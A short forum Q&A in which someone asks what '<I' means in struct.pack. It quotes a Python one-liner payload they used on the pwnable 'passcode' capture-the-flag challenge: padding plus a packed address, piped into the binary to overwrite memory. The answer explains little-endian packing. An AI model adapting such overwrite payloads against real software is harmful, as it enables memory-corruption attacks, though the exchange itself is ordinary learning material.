Q:

What is "<I" in inline python code

While i was doing challange on pwnable (passcode) I had problem with this.
I found a solution : 
(python -c 'import struct;print "\x41"*(96)+struct.pack("<I",0x0804a018)+"134514147"' 2>/dev/null) | ./passcode

A:

This < I part is a format string, that says pack to use little-endian byte order unsigned int representation for a value given as a second parameter. 
You can find all this stuff in the documentation of the package.

